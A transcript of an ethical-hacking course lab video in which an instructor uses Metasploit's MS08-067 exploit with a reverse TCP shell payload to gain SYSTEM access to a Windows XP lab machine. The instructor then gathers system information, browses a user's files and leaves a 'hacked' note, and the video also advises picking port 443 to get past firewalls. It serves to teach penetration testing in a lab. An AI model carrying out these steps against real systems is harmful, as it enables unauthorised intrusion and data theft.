Instructor: So, now that we've gone through 2 2
our reconnaissance, our scanning and enumeration, 3 3
we're ready to try to throw an attack and gain access. 4 4
Based on our scanning and enumeration, 5 5
we've identified a vulnerability to attack. 6 6
In our case, it's gonna be our Windows machine 7 7
with Microsoft 08-067 vulnerability. 8 8
So, let's launch our Kali machine. 9 9
We still have all the machines up 10 10
and running from our previous lab. 11 11
So, from our Kali prompt, 12 12
we're gonna start the Metaspolit Framework, 13 13
which is msfconsole. 14 14
Now, from the Metasploit Framework, 15 15
we're gonna be able to configure our exploit 16 16
and our payload that we want to send over. 17 17
So as you can see here, there's over 1,500 exploits, 18 18
over 400 payloads, so we need 19 19
to figure out which one we want to use. 20 20
Now, based on our reconnaissance 21 21
and our scanning and enumeration, 22 22
we're gonna use the ms08_067 vulnerability. 23 23
Now, this vulnerability goes against 24 24
Windows XP and Windows 2000 servers, 25 25
and these will actually go against 26 26
the file sharing capability, 27 27
and we know that they were running file sharing on port 445. 28 28
So, when I search for that, you'll find it right here. 29 29
It's in the exploit/windows/smb directory, 30 30
and it is the ms08_067_netapi. 31 31
I'm gonna copy that so I don't have 32 32
to type it out each time, and I'm just gonna type in use, 33 33
and then paste it in and hit enter. 34 34
The second thing I need to do is set my payload. 35 35
Now, the payload is, once we've broke down the door 36 36
with the exploit, what code do we want them to run? 37 37
In our case, we want them to run 38 38
the windows/shell/reverse_tcp. 39 39
Now, that payload is set. 40 40
So now, we have a couple more options. 41 41
We're gonna do show options, 42 42
and you'll see here that we need a remote host, 43 43
which is the target we're going after, 44 44
and a listening host, is the listening we're gonna do, 45 45
which in our case, is gonna be the Kali machine. 46 46
So, we're gonna do set RHOST 47 47
to the IP of the Windows machine, 48 48
which was 192.168.56.100. 49 49
Then we need to set our listening host 50 50
to our IP for our Kali machine, 51 51
which was 192.168.56.102, 52 52
and now we can show our options 53 53
to verify those options took, and you can see they did. 54 54
There is our Windows machine IP, 55 55
and there is our listening host for our Kali machine. 56 56
Now, the reason why we're allowed to set 57 57
this listening host is because in an exploit, 58 58
I may be the one who is setting the exploits, 59 59
but I don't want to do all the post-exploit exploitation, 60 60
and I'll allow my friend to do that. 61 61
So, for instance, if there was two of us 62 62
in this room, I might be one 102, he might be 103. 63 63
I'll throw the exploit, the answer that comes back 64 64
will be to his machine so he can then do 65 65
all the information gathering, and that way, 66 66
I might be the guy who breaks down the door, 67 67
and I have a team of guys who take the information out. 68 68
The other thing you want to note, here, 69 69
is this listening port, which is currently set to 4444. 70 70
That's the default for Metasploit. 71 71
It doesn't have to be 4444, though. 72 72
You can set it to A, or 443, or any other port you need 73 73
to help you get through and back through a firewall. 74 74
Now that we've set up all of our configurations, 75 75
all we have to do to run this exploit 76 76
is type the word exploit. 77 77
And you can see that we've started 78 78
the reverse handler on our Kali machine, 79 79
which is our Kali machine listening on port 4444. 80 80
It then goes out and sends the exploit on port 445, 81 81
which was the vulnerability we were trying to trigger, 82 82
to the Windows machine. 83 83
It detected that that was 84 84
a Service Pack 3 Windows XP machine, 85 85
and based on that, it threw the appropriate vulnerability 86 86
and the appropriate exploit for that vulnerability. 87 87
It then sent an encoded stage dropper over to that machine, 88 88
and that encoded stage was then received, 89 89
broke in, used the Command Shell, 90 90
and sent it back to me, and so now I can see that. 91 91
That it went from my Kali machine 92 92
to the Windows machine, and that is 93 93
the connection that we have open right now. 94 94
And, notice where we are. 95 95
We're in the system 32 directory in Windows. 96 96
We have now been dropped 97 97
in to the command prompt of Windows, 98 98
and we are there as a system level user. 99 99
So, we have the ability to create files, 100 100
edit files, delete files, or run any other commands 101 101
that we would using the command prompt 102 102
as if we were there locally on the machine. 103 103
So, what we're gonna do here, 104 104
is we're gonna start gathering some information. 105 105
So, why don't we start 106 106
with something like system information. 107 107
And what we can see here 108 108
is a bunch of information about this machine. 109 109
We can see the exact version it is, 110 110
we can see what kind of machine it is, 111 111
is it part of a domain or just a workstation. 112 112
This is important to know because if I broke 113 113
in to a machine that was part of a domain, 114 114
I would then try to go from gaining system 115 115
on this particular machine to being a domain admin, 116 116
and continue to elevate my privileges. 117 117
I can see information such as the proc ID, 118 118
the date and time it was installed, 119 119
how long it's been up, how many processors it has, 120 120
how much memory it has, how much hard disk it has, 121 121
all sorts of information that could be useful to me. 122 122
The other thing I can see here 123 123
is everything that it's been patched for. 124 124
In this case, the only patch it has 125 125
is this one particular one, Q147222, 126 126
which means that it's Service Pack 3. 127 127
None of the other updates have been had, 128 128
so this means that there's a lot of vulnerabilities 129 129
on this box that I can then go and attack, 130 130
which is good for us as a training opportunity, 131 131
but if I was the one who owned this box, 132 132
I would know, "Hey, there's a lot of things 133 133
"that I gotta do to get this up to shape." 134 134
So, what are some other things we can do? 135 135
Well, let's go ahead and look around this drive. 136 136
Let's go to the C drive. 137 137
We'll go to the main root directory of the C drive, 138 138
and we'll see what's there. 139 139
Right now, it just looks like a basic Windows machine. 140 140
We can even go in to their documents and settings 141 141
and see if there's anything there. 142 142
In this case, we see there's a user, John Sim. 143 143
And you can see that we're able 144 144
to access John's information, 145 145
because again, we're a system level user. 146 146
Now, he doesn't happen to have anything on there. Why? 147 147
Because when we set this box up, 148 148
we didn't put anything there for us to find. 149 149
We just set up a basic default blank account, 150 150
but we can now start writing things to John. 151 151
For instance, we might do something like this. 152 152
Echo 153 153
"Hi, John, 154 154
"I hacked your machine!" 155 155
and then we're gonna pipe that over 156 156
to a file called Hacked.txt, and hit enter. 157 157
So, now that file should be sitting there 158 158
on the Desktop, which we can see it is. 159 159
Now, if that file was there before, 160 160
we would be able to see it by typing 161 161
that file to the screen. 162 162
So, in our case, we would type Hacked.txt, 163 163
and we could see what the contents in that file are. 164 164
Now, if we're John on our machine, 165 165
what do we think we're gonna see? 166 166
Well, on his desktop now, we have a hacked file, 167 167
and we can see that, and that is just proof 168 168
that we were able to break in to his machine. 169 169
Now, if he had a bunch of information on here, 170 170
we'd be able to steal that information as well, 171 171
but in this case, in this machine there wasn't much there. 172 172
So, once we're done with that machine, 173 173
we would just type exit to get out of the command prompt, 174 174
and that will actually break the connection 175 175
between us and that machine, as well. 176 176
And then hit control C. 177 177
Abort the session? Yes. 178 178
And that's the basics of how to hack 179 179
in to a Windows box using the ms_08_067 vulnerability.